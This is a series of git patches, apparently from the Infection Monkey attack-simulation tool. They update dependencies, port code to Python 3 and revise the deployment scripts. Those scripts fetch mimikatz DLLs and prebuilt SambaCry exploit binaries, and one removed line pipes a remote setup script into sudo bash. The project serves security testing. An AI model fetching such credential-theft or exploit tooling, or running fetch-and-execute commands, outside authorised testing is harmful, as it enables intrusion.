- "integrity": "sha512-pnzH6dnFEsR2aa2SJaKb1uSCl3QmIsJ8dEkj0Fky+2AwMMcC9doMqLOQIH6wVTEKaVfKVvLSk5qxPBEZT9mywg==",
+ "version": "4.3.4",
+ "resolved": "https://registry.npmjs.org/terser/-/terser-4.3.4.tgz",
+ "integrity": "sha512-Kcrn3RiW8NtHBP0ssOAzwa2MsIRQ8lJWiBG/K7JgqPlomA3mtb2DEmp4/hrUA+Jujx+WZ02zqd7GYD+QRBB/2Q==",
"dev": true,
"requires": {
- "commander": "2.20.0",
+ "commander": "2.20.1",
"source-map": "0.6.1",
"source-map-support": "0.5.13"
},
"dependencies": {
"commander": {
- "version": "2.20.0",
- "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.0.tgz",
- "integrity": "sha512-7j2y+40w61zy6YC2iRNpUe/NwhNyoXrYpHMrSunaMG64nRnaf96zO/KMQR4OyN/UnE5KLyEBnKHd4aG3rskjpQ==",
+ "version": "2.20.1",
+ "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.1.tgz",
+ "integrity": "sha512-cCuLsMhJeWQ/ZpsFTbE765kvVfoeSddc4nU3up4fV+fDBcfUXnbITJ+JzhkdjzOqhURjZgujxaioam4RM9yGUg==",
"dev": true
},
"source-map": {
@@ -17982,7 +17981,7 @@
"schema-utils": "1.0.0",
"serialize-javascript": "1.9.1",
"source-map": "0.6.1",
- "terser": "4.3.1",
+ "terser": "4.3.4",
"webpack-sources": "1.4.3",
"worker-farm": "1.7.0"
},
@@ -19710,9 +19709,9 @@
}
},
"webpack": {
- "version": "4.40.2",
- "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.40.2.tgz",
- "integrity": "sha512-5nIvteTDCUws2DVvP9Qe+JPla7kWPPIDFZv55To7IycHWZ+Z5qBdaBYPyuXWdhggTufZkQwfIK+5rKQTVovm2A==",
+ "version": "4.41.0",
+ "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.41.0.tgz",
+ "integrity": "sha512-yNV98U4r7wX1VJAj5kyMsu36T8RPPQntcb5fJLOsMz/pt/WrKC0Vp1bAlqPLkA1LegSwQwf6P+kAbyhRKVQ72g==",
"dev": true,
"requires": {
"@webassemblyjs/ast": "1.8.5",
diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json
index aa85164ce..6743638d5 100644
--- a/monkey/monkey_island/cc/ui/package.json
+++ b/monkey/monkey_island/cc/ui/package.json
@@ -37,7 +37,7 @@
"css-loader": "^1.0.1",
"eslint": "^5.16.0",
"eslint-loader": "^2.2.1",
- "eslint-plugin-react": "^7.14.3",
+ "eslint-plugin-react": "^7.15.1",
"file-loader": "^1.1.11",
"glob": "^7.1.4",
"html-loader": "^0.5.5",
@@ -56,11 +56,11 @@
"phantomjs-prebuilt": "^2.1.16",
"react-addons-test-utils": "^15.6.2",
"react-event-timeline": "^1.6.3",
- "react-hot-loader": "^4.12.13",
+ "react-hot-loader": "^4.12.14",
"rimraf": "^2.7.1",
"style-loader": "^0.22.1",
"url-loader": "^1.1.2",
- "webpack": "^4.40.2",
+ "webpack": "^4.41.0",
"webpack-cli": "^3.3.9",
"webpack-dev-server": "^3.8.1"
},
@@ -74,7 +74,7 @@
"downloadjs": "^1.4.7",
"fetch": "^1.1.0",
"file-saver": "^2.0.2",
- "filepond": "^4.7.1",
+ "filepond": "^4.7.2",
"js-file-download": "^0.4.8",
"json-loader": "^0.5.7",
"jwt-decode": "^2.2.0",
@@ -85,13 +85,13 @@
"pluralize": "^7.0.0",
"prop-types": "^15.7.2",
"rc-progress": "^2.5.2",
- "react": "^16.9.0",
+ "react": "^16.10.1",
"react-bootstrap": "^0.32.4",
"react-copy-to-clipboard": "^5.0.1",
"react-data-components": "^1.2.0",
"react-desktop-notification": "^1.0.9",
"react-dimensions": "^1.3.0",
- "react-dom": "^16.9.0",
+ "react-dom": "^16.10.1",
"react-fa": "^5.0.0",
"react-filepond": "^7.0.1",
"react-graph-vis": "^1.0.2",
@@ -101,7 +101,7 @@
"react-router-dom": "^4.3.1",
"react-spinners": "^0.5.13",
"react-table": "^6.10.3",
- "react-toggle": "^4.0.1",
+ "react-toggle": "^4.1.1",
"react-tooltip-lite": "^1.10.0",
"redux": "^4.0.4",
"sass-loader": "^7.3.1",
diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt
index 57ca79348..a2e734324 100644
--- a/monkey/monkey_island/requirements.txt
+++ b/monkey/monkey_island/requirements.txt
@@ -13,7 +13,6 @@ Flask-JWT
jsonschema
netifaces
ipaddress
-enum34
pycryptodome
boto3
botocore
From 04d8f1341bd07e93e50d11b93454ff2c0649f887 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Thu, 3 Oct 2019 17:20:14 +0300
Subject: [PATCH 012/108] Fixed bug that caused PATH not to be refreshed after
python installation
---
deployment_scripts/deploy_windows.ps1 | 5 ++---
1 file changed, 2 insertions(+), 3 deletions(-)
diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1
index c7192a4c8..87d6bc8cf 100644
--- a/deployment_scripts/deploy_windows.ps1
+++ b/deployment_scripts/deploy_windows.ps1
@@ -56,13 +56,12 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
"Select 'add to PATH' when installing"
$webClient.DownloadFile($PYTHON_URL, $TEMP_PYTHON_INSTALLER)
Start-Process -Wait $TEMP_PYTHON_INSTALLER -ErrorAction Stop
- $env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
+ $env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine") + ";" + [System.Environment]::GetEnvironmentVariable("Path","User")
Remove-Item $TEMP_PYTHON_INSTALLER
# Check if installed correctly
$version = cmd.exe /c '"python" --version 2>&1'
if ( $version -like '* is not recognized*' ) {
- "Python is not found in PATH. If you just installed python you need to restart cmd.
- Else, add it manually or reinstall python."
+ "Python is not found in PATH. Add it to PATH and relaunch the script."
return
}
}
From 58ecb83977c1e87e04e4dad97a6187f5b41bf2db Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Mon, 7 Oct 2019 09:53:18 +0300
Subject: [PATCH 013/108] Added C++ redistributable required for windows and
brought back UPX
---
deployment_scripts/config.ps1 | 5 +++++
deployment_scripts/deploy_windows.ps1 | 19 +++++++++++++++++++
monkey/infection_monkey/build_windows.bat | 2 +-
monkey/infection_monkey/monkey.spec | 1 +
4 files changed, 26 insertions(+), 1 deletion(-)
diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1
index a3dafc66e..095f7b899 100644
--- a/deployment_scripts/config.ps1
+++ b/deployment_scripts/config.ps1
@@ -29,13 +29,18 @@ $MK64_DLL = "mk64.zip"
$TEMP_PYTHON_INSTALLER = ".\python.exe"
$TEMP_MONGODB_ZIP = ".\mongodb.zip"
$TEMP_OPEN_SSL_ZIP = ".\openssl.zip"
+$TEMP_CPP_INSTALLER = "cpp.exe"
$TEMP_NPM_INSTALLER = "node.msi"
$TEMP_PYWIN32_INSTALLER = "pywin32.exe"
+$TEMP_UPX_ZIP = "upx.zip"
+$UPX_FOLDER = "upx394w"
# Other url's
$MONGODB_URL = "https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip"
$OPEN_SSL_URL = "https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip"
+$CPP_URL = "https://go.microsoft.com/fwlink/?LinkId=746572"
$NPM_URL = "https://nodejs.org/dist/v10.13.0/node-v10.13.0-x64.msi"
$PYWIN32_URL = "https://github.com/mhammond/pywin32/releases/download/b225/pywin32-225.win-amd64-py3.7.exe"
$MK32_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk32.zip"
$MK64_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk64.zip"
+$UPX_URL = "https://github.com/upx/upx/releases/download/v3.94/upx394w.zip"
diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1
index 87d6bc8cf..0403185ff 100644
--- a/deployment_scripts/deploy_windows.ps1
+++ b/deployment_scripts/deploy_windows.ps1
@@ -107,6 +107,12 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
"Removing zip file"
Remove-Item $TEMP_OPEN_SSL_ZIP
+ # Download and install C++ redistributable
+ "Downloading C++ redistributable ..."
+ $webClient.DownloadFile($CPP_URL, $TEMP_CPP_INSTALLER)
+ Start-Process -Wait $TEMP_CPP_INSTALLER -ErrorAction Stop
+ Remove-Item $TEMP_CPP_INSTALLER
+
# Generate ssl certificate
"Generating ssl certificate"
Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR)
@@ -158,6 +164,19 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
$binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\bin")
New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue
+ # Download upx
+ if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "upx.exe") )){
+ "Downloading upx ..."
+ $webClient.DownloadFile($UPX_URL, $TEMP_UPX_ZIP)
+ "Unzipping upx"
+ Expand-Archive $TEMP_UPX_ZIP -DestinationPath $binDir -ErrorAction SilentlyContinue
+ Move-Item -Path (Join-Path -Path $binDir -ChildPath $UPX_FOLDER | Join-Path -ChildPath "upx.exe") -Destination $binDir
+ # Remove unnecessary files
+ Remove-Item -Recurse -Force (Join-Path -Path $binDir -ChildPath $UPX_FOLDER)
+ "Removing zip file"
+ Remove-Item $TEMP_UPX_ZIP
+ }
+
# Download mimikatz binaries
$mk32_path = Join-Path -Path $binDir -ChildPath $MK32_DLL
if(!(Test-Path -Path $mk32_path )){
diff --git a/monkey/infection_monkey/build_windows.bat b/monkey/infection_monkey/build_windows.bat
index e2bf2935e..f763bda6b 100644
--- a/monkey/infection_monkey/build_windows.bat
+++ b/monkey/infection_monkey/build_windows.bat
@@ -1 +1 @@
-pyinstaller -F --log-level=DEBUG --clean --noupx monkey.spec
+pyinstaller -F --log-level=DEBUG --clean --upx-dir=.\bin monkey.spec
diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec
index e35fd2630..9c5fa9a18 100644
--- a/monkey/infection_monkey/monkey.spec
+++ b/monkey/infection_monkey/monkey.spec
@@ -38,6 +38,7 @@ def main():
debug=False,
strip=get_exe_strip(),
upx=True,
+ upx_exclude=['vcruntime140.dll'],
console=True,
icon=get_exe_icon())
From 2d8caddd7b0c0dfa281554c5d89db6515ff250cf Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Mon, 7 Oct 2019 16:24:15 +0300
Subject: [PATCH 014/108] Automatically adds python scripts to path so user
could use pyinstaller off the bat
---
deployment_scripts/deploy_windows.ps1 | 10 +++++++++-
1 file changed, 9 insertions(+), 1 deletion(-)
diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1
index 0403185ff..5a21c4daa 100644
--- a/deployment_scripts/deploy_windows.ps1
+++ b/deployment_scripts/deploy_windows.ps1
@@ -75,12 +75,20 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
}
"Installing python packages for island"
- $islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop
+ $islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop
& python -m pip install --user -r $islandRequirements
"Installing python packages for monkey"
$monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements_windows.txt"
& python -m pip install --user -r $monkeyRequirements
+ $user_python_dir = cmd.exe /c 'py -m site --user-site'
+ $user_python_dir = Join-Path (Split-Path $user_python_dir) -ChildPath "\Scripts"
+ if(!($ENV:PATH | Select-String -SimpleMatch $user_python_dir)){
+ "Adding python scripts path to user's env"
+ $env:Path += ";"+$user_python_dir
+ [Environment]::SetEnvironmentVariable("Path",$env:Path,"User")
+ }
+
# Download mongodb
if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "mongodb") )){
"Downloading mongodb ..."
From 7f009da96853be2422f939c53a71732d28580bc1 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Wed, 9 Oct 2019 11:23:20 +0300
Subject: [PATCH 015/108] Linux dev. env. deployment altered to support py3
---
deployment_scripts/config | 6 ++
deployment_scripts/deploy_linux.sh | 70 ++++++++++++-------
.../infection_monkey/requirements_linux.txt | 4 +-
monkey/monkey_island/linux/install_mongo.sh | 3 +-
monkey/monkey_island/linux/run.sh | 16 ++++-
monkey/monkey_island/requirements.txt | 1 -
6 files changed, 68 insertions(+), 32 deletions(-)
diff --git a/deployment_scripts/config b/deployment_scripts/config
index bb10ed105..fb7a3d5b6 100644
--- a/deployment_scripts/config
+++ b/deployment_scripts/config
@@ -14,6 +14,12 @@ WINDOWS_32_BINARY_NAME="monkey-windows-32.exe"
WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-64.exe"
WINDOWS_64_BINARY_NAME="monkey-windows-64.exe"
+# Other binaries for monkey
+TRACEROUTE_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/traceroute64"
+TRACEROUTE_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/traceroute32"
+SAMBACRY_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner64.so"
+SAMBACRY_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner32.so"
+
# Mongo url's
MONGO_DEBIAN_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz"
MONGO_UBUNTU_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz"
diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh
index 4df8ba114..136e3f8b1 100644
--- a/deployment_scripts/deploy_linux.sh
+++ b/deployment_scripts/deploy_linux.sh
@@ -11,9 +11,9 @@ fi
ISLAND_PATH="$monkey_home/monkey/monkey_island"
MONKEY_COMMON_PATH="$monkey_home/monkey/common/"
MONGO_PATH="$ISLAND_PATH/bin/mongodb"
-MONGO_BIN_PATH="$MONGO_PATH/bin"
-ISLAND_DB_PATH="$ISLAND_PATH/db"
ISLAND_BINARIES_PATH="$ISLAND_PATH/cc/binaries"
+INFECTION_MONKEY_DIR="$monkey_home/monkey/infection_monkey"
+MONKEY_BIN_DIR="$INFECTION_MONKEY_DIR/bin"
handle_error () {
echo "Fix the errors above and rerun the script"
@@ -52,25 +52,39 @@ fi
# Create folders
log_message "Creating island dirs under $ISLAND_PATH"
-mkdir -p ${MONGO_BIN_PATH}
-mkdir -p ${ISLAND_DB_PATH}
+mkdir -p ${MONGO_PATH}
mkdir -p ${ISLAND_BINARIES_PATH} || handle_error
-python_version=`python --version 2>&1`
-if [[ ${python_version} == *"command not found"* ]] || [[ ${python_version} != *"Python 2.7"* ]]; then
- echo "Python 2.7 is not found or is not a default interpreter for 'python' command..."
- exit 1
+# Detecting command that calls python 3.7
+python_cmd=""
+if [[ `python --version 2>&1` == *"Python 3.7"* ]]; then
+ python_cmd="python"
+fi
+if [[ `python37 --version 2>&1` == *"Python 3.7"* ]]; then
+ python_cmd="python37"
+fi
+if [[ `python3.7 --version 2>&1` == *"Python 3.7"* ]]; then
+ python_cmd="python3.7"
+fi
+
+if [[ ${python_cmd} == "" ]]; then
+ log_message "Python 3.7 command not found. Installing python 3.7."
+ sudo add-apt-repository ppa:deadsnakes/ppa
+ sudo apt install python3.7
+ log_message "Python 3.7 is now available with command 'python3.7'."
+ python_cmd="python3.7"
fi
log_message "Updating package list"
sudo apt-get update
log_message "Installing pip"
-sudo apt-get install python-pip
+sudo apt install python3-pip
+${python_cmd} -m pip install pip
log_message "Installing island requirements"
requirements="$ISLAND_PATH/requirements.txt"
-python -m pip install --user -r ${requirements} || handle_error
+${python_cmd} -m pip install --user --upgrade -r ${requirements} || handle_error
# Download binaries
log_message "Downloading binaries"
@@ -89,7 +103,7 @@ linux_dist=`lsb_release -a 2> /dev/null`
# If a user haven't installed mongo manually check if we can install it with our script
log_message "Installing MongoDB"
-${ISLAND_PATH}/linux/install_mongo.sh ${MONGO_BIN_PATH} || handle_error
+${ISLAND_PATH}/linux/install_mongo.sh ${MONGO_PATH} || handle_error
log_message "Installing openssl"
sudo apt-get install openssl
@@ -106,32 +120,38 @@ openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/ser
sudo chmod +x ${ISLAND_PATH}/linux/create_certificate.sh || handle_error
${ISLAND_PATH}/linux/create_certificate.sh || handle_error
+# Update node
+log_message "Installing nodejs"
+sudo apt-get install -y nodejs
+
# Install npm
log_message "Installing npm"
sudo apt-get install npm
-
-# Update node
-log_message "Updating node"
-curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash -
-sudo apt-get install -y nodejs
+npm update
log_message "Generating front end"
cd "$ISLAND_PATH/cc/ui" || handle_error
-npm update
npm run dist
# Monkey setup
log_message "Installing monkey requirements"
-sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1
+sudo apt-get install python-dev libffi-dev upx libssl-dev libc++1
cd ${monkey_home}/monkey/infection_monkey || handle_error
-python -m pip install --user -r requirements_linux.txt || handle_error
+${python_cmd} -m pip install -r requirements_linux.txt --user --upgrade || handle_error
+
+# Making dir for binaries
+mkdir ${MONKEY_BIN_DIR}
+
+# Download sambacry binaries
+log_message "Downloading sambacry binaries"
+wget -c -N -P ${MONKEY_BIN_DIR} ${SAMBACRY_64_BINARY_URL}
+wget -c -N -P ${MONKEY_BIN_DIR} ${SAMBACRY_32_BINARY_URL}
+
+# Download traceroute binaries
+log_message "Downloading tracerout binaries"
+wget -c -N -P ${MONKEY_BIN_DIR} ${TRACEROUTE_64_BINARY_URL}
+wget -c -N -P ${MONKEY_BIN_DIR} ${TRACEROUTE_32_BINARY_URL}
-# Build samba
-log_message "Building samba binaries"
-sudo apt-get install gcc-multilib
-cd ${monkey_home}/monkey/infection_monkey/exploit/sambacry_monkey_runner
-sudo chmod +x ./build.sh || handle_error
-./build.sh
sudo chmod +x ${monkey_home}/monkey/infection_monkey/build_linux.sh
diff --git a/monkey/infection_monkey/requirements_linux.txt b/monkey/infection_monkey/requirements_linux.txt
index f30131267..9dc66a787 100644
--- a/monkey/infection_monkey/requirements_linux.txt
+++ b/monkey/infection_monkey/requirements_linux.txt
@@ -1,11 +1,10 @@
-enum34
impacket
pycryptodome
cffi
requests
odict
paramiko
-psutil==3.4.2
+psutil
PyInstaller
six
ecdsa
@@ -14,4 +13,3 @@ ipaddress
wmi
pymssql
pyftpdlib
-enum34
diff --git a/monkey/monkey_island/linux/install_mongo.sh b/monkey/monkey_island/linux/install_mongo.sh
index 2395454b6..478d7e0ed 100755
--- a/monkey/monkey_island/linux/install_mongo.sh
+++ b/monkey/monkey_island/linux/install_mongo.sh
@@ -10,7 +10,7 @@ then
elif [[ ${os_version_monkey} == "Ubuntu 18.04"* ]] ;
then
echo Detected Ubuntu 18.04
- export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1804-4.0.8.tgz"
+ export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1804-4.2.0.tgz"
elif [[ ${os_version_monkey} == "Debian GNU/Linux 8"* ]] ;
then
echo Detected Debian 8
@@ -31,6 +31,7 @@ tar -xf mongodb.tgz
popd
mkdir -p ${MONGODB_DIR}/bin
+mkdir -p ${MONGODB_DIR}/db
cp ${TEMP_MONGO}/mongodb-*/bin/mongod ${MONGODB_DIR}/bin/mongod
cp ${TEMP_MONGO}/mongodb-*/LICENSE-Community.txt ${MONGODB_DIR}/
chmod a+x ${MONGODB_DIR}/bin/mongod
diff --git a/monkey/monkey_island/linux/run.sh b/monkey/monkey_island/linux/run.sh
index 978e02fe5..235b30469 100644
--- a/monkey/monkey_island/linux/run.sh
+++ b/monkey/monkey_island/linux/run.sh
@@ -1,4 +1,16 @@
#!/bin/bash
-cd /var/monkey
-/var/monkey/monkey_island/bin/python/bin/python monkey_island.py
\ No newline at end of file
+# Detecting command that calls python 3.7
+python_cmd=""
+if [[ `python --version 2>&1` == *"Python 3.7"* ]]; then
+ python_cmd="python"
+fi
+if [[ `python37 --version 2>&1` == *"Python 3.7"* ]]; then
+ python_cmd="python37"
+fi
+if [[ `python3.7 --version 2>&1` == *"Python 3.7"* ]]; then
+ python_cmd="python3.7"
+fi
+
+./bin/mongodb/bin/mongod --dbpath ./bin/mongodb/db
+${python_cmd} monkey_island.py
\ No newline at end of file
diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt
index a2e734324..c887b8527 100644
--- a/monkey/monkey_island/requirements.txt
+++ b/monkey/monkey_island/requirements.txt
@@ -1,4 +1,3 @@
-bson
python-dateutil
tornado
werkzeug
From fcd43b9fa0e54ddf42a3d42637135b406c9b1623 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Thu, 10 Oct 2019 16:41:47 +0300
Subject: [PATCH 016/108] Fixed double parentheses in print method invocations
---
monkey/infection_monkey/main.py | 8 ++++----
monkey/monkey_island/scripts/island_password_hasher.py | 2 +-
2 files changed, 5 insertions(+), 5 deletions(-)
diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py
index dc130b027..88b7f9fd9 100644
--- a/monkey/infection_monkey/main.py
+++ b/monkey/infection_monkey/main.py
@@ -59,17 +59,17 @@ def main():
config_file = opts.config
if os.path.isfile(config_file):
# using print because config can also change log locations
- print(("Loading config from %s." % config_file))
+ print("Loading config from %s." % config_file)
try:
with open(config_file) as config_fo:
json_dict = json.load(config_fo)
WormConfiguration.from_kv(json_dict)
except ValueError as e:
- print(("Error loading config: %s, using default" % (e,)))
+ print("Error loading config: %s, using default" % (e,))
else:
- print(("Config file wasn't supplied and default path: %s wasn't found, using internal default" % (config_file,)))
+ print("Config file wasn't supplied and default path: %s wasn't found, using internal default" % (config_file,))
- print(("Loaded Configuration: %r" % WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict())))
+ print("Loaded Configuration: %r" % WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()))
# Make sure we're not in a machine that has the kill file
kill_path = os.path.expandvars(
diff --git a/monkey/monkey_island/scripts/island_password_hasher.py b/monkey/monkey_island/scripts/island_password_hasher.py
index 75b77c0cf..159e0d098 100644
--- a/monkey/monkey_island/scripts/island_password_hasher.py
+++ b/monkey/monkey_island/scripts/island_password_hasher.py
@@ -16,7 +16,7 @@ def main():
h = SHA3_512.new()
h.update(args.string_to_sha)
- print((h.hexdigest()))
+ print(h.hexdigest())
if __name__ == '__main__':
From cefaacabab64ed1e1fb9a18b948d80758b01d27e Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Fri, 11 Oct 2019 10:22:39 +0300
Subject: [PATCH 017/108] Some py3 bugs fixed
---
monkey/common/cloud/aws_instance.py | 15 ++++++++-------
.../model/victim_host_generator_test.py | 4 ++--
.../infection_monkey/network/network_scanner.py | 2 +-
monkey/infection_monkey/transport/http.py | 2 +-
monkey/infection_monkey/utils/auto_new_user.py | 3 +--
monkey/monkey_island/requirements.txt | 5 ++---
6 files changed, 15 insertions(+), 16 deletions(-)
diff --git a/monkey/common/cloud/aws_instance.py b/monkey/common/cloud/aws_instance.py
index 40d7c622c..e7d1b2361 100644
--- a/monkey/common/cloud/aws_instance.py
+++ b/monkey/common/cloud/aws_instance.py
@@ -1,6 +1,7 @@
import json
import re
-import urllib2
+import urllib.request
+import urllib.error
import logging
@@ -25,18 +26,18 @@ class AwsInstance(object):
self.account_id = None
try:
- self.instance_id = urllib2.urlopen(
+ self.instance_id = urllib.request.urlopen(
AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read()
self.region = self._parse_region(
- urllib2.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read())
- except urllib2.URLError as e:
- logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e.message))
+ urllib.request.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read())
+ except urllib.error.URLError as e:
+ logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e))
try:
self.account_id = self._extract_account_id(
- urllib2.urlopen(
+ urllib.request.urlopen(
AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read())
- except urllib2.URLError as e:
+ except urllib.error.URLError as e:
logger.debug("Failed init of AwsInstance while getting dynamic instance data: {}".format(e))
@staticmethod
diff --git a/monkey/infection_monkey/model/victim_host_generator_test.py b/monkey/infection_monkey/model/victim_host_generator_test.py
index 102014d45..3a159f245 100644
--- a/monkey/infection_monkey/model/victim_host_generator_test.py
+++ b/monkey/infection_monkey/model/victim_host_generator_test.py
@@ -17,8 +17,8 @@ class VictimHostGeneratorTester(TestCase):
generator = VictimHostGenerator(test_ranges, '10.0.0.1', [])
victims = generator.generate_victims(chunk_size)
for i in range(5): # quickly check the equally sided chunks
- self.assertEqual(len(victims.next()), chunk_size)
- victim_chunk_last = victims.next()
+ self.assertEqual(len(next(victims)), chunk_size)
+ victim_chunk_last = next(victims)
self.assertEqual(len(victim_chunk_last), 1)
def test_remove_blocked_ip(self):
diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py
index 1a3d615a5..50fd21b4d 100644
--- a/monkey/infection_monkey/network/network_scanner.py
+++ b/monkey/infection_monkey/network/network_scanner.py
@@ -85,7 +85,7 @@ class NetworkScanner(object):
return
results = pool.map(self.scan_machine, victim_chunk)
- resulting_victims = filter(lambda x: x is not None, results)
+ resulting_victims = [x for x in results if x is not None]
for victim in resulting_victims:
LOG.debug("Found potential victim: %r", victim)
victims_count += 1
diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py
index 6610e082d..eb1e5d355 100644
--- a/monkey/infection_monkey/transport/http.py
+++ b/monkey/infection_monkey/transport/http.py
@@ -3,7 +3,7 @@ import os.path
import select
import socket
import threading
-import urllib.request, urllib.parse, urllib.error
+import urllib
from logging import getLogger
from urllib.parse import urlsplit
diff --git a/monkey/infection_monkey/utils/auto_new_user.py b/monkey/infection_monkey/utils/auto_new_user.py
index e749020d6..0a34d93c0 100644
--- a/monkey/infection_monkey/utils/auto_new_user.py
+++ b/monkey/infection_monkey/utils/auto_new_user.py
@@ -4,7 +4,7 @@ import abc
logger = logging.getLogger(__name__)
-class AutoNewUser:
+class AutoNewUser(metaclass=abc.ABCMeta):
"""
RAII object to use for creating and using a new user. Use with `with`.
User will be created when the instance is instantiated.
@@ -19,7 +19,6 @@ class AutoNewUser:
# Logged off and deleted
...
"""
- __metaclass__ = abc.ABCMeta
def __init__(self, username, password):
self.username = username
diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt
index ee66bb797..49c1e37a5 100644
--- a/monkey/monkey_island/requirements.txt
+++ b/monkey/monkey_island/requirements.txt
@@ -1,6 +1,6 @@
bson
python-dateutil
-tornado==5.1.1
+tornado
werkzeug
jinja2
markupsafe
@@ -10,10 +10,9 @@ flask
Flask-Pymongo
Flask-Restful
Flask-JWT
-jsonschema==2.6.0
+jsonschema
netifaces
ipaddress
-enum34
pycryptodome
boto3
botocore
From c474a23339fb030a6f807331aa3a9858daf18685 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Tue, 15 Oct 2019 11:10:05 +0300
Subject: [PATCH 018/108] Removed traceback logging of expected error in AWS
instance
---
monkey/common/cloud/aws_instance.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/monkey/common/cloud/aws_instance.py b/monkey/common/cloud/aws_instance.py
index cf50a3588..6b13b69bb 100644
--- a/monkey/common/cloud/aws_instance.py
+++ b/monkey/common/cloud/aws_instance.py
@@ -31,7 +31,7 @@ class AwsInstance(object):
self.region = self._parse_region(
urllib.request.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read())
except (urllib.error.URLError, IOError) as e:
- logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e), exc_info=True)
+ logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e))
try:
self.account_id = self._extract_account_id(
From 8923e80dc66e329b73749677a063e207a1dad96c Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Tue, 15 Oct 2019 11:12:49 +0300
Subject: [PATCH 019/108] Fixed ring bugs
---
monkey/monkey_island/cc/models/monkey.py | 14 +++++++++-----
monkey/monkey_island/cc/models/test_monkey.py | 12 ++++++------
2 files changed, 15 insertions(+), 11 deletions(-)
diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py
index a8a7da2ec..55a5f9190 100644
--- a/monkey/monkey_island/cc/models/monkey.py
+++ b/monkey/monkey_island/cc/models/monkey.py
@@ -45,20 +45,24 @@ class Monkey(Document):
aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS
# instance. See https://github.com/guardicore/monkey/issues/426.
+ @staticmethod
+ def __ring_key__():
+ return Monkey.guid
+
# LOGIC
@staticmethod
def get_single_monkey_by_id(db_id):
try:
return Monkey.objects.get(id=db_id)
except DoesNotExist as ex:
- raise MonkeyNotFoundError("info: {0} | id: {1}".format(ex.message, str(db_id)))
+ raise MonkeyNotFoundError("info: {0} | id: {1}".format(ex, str(db_id)))
@staticmethod
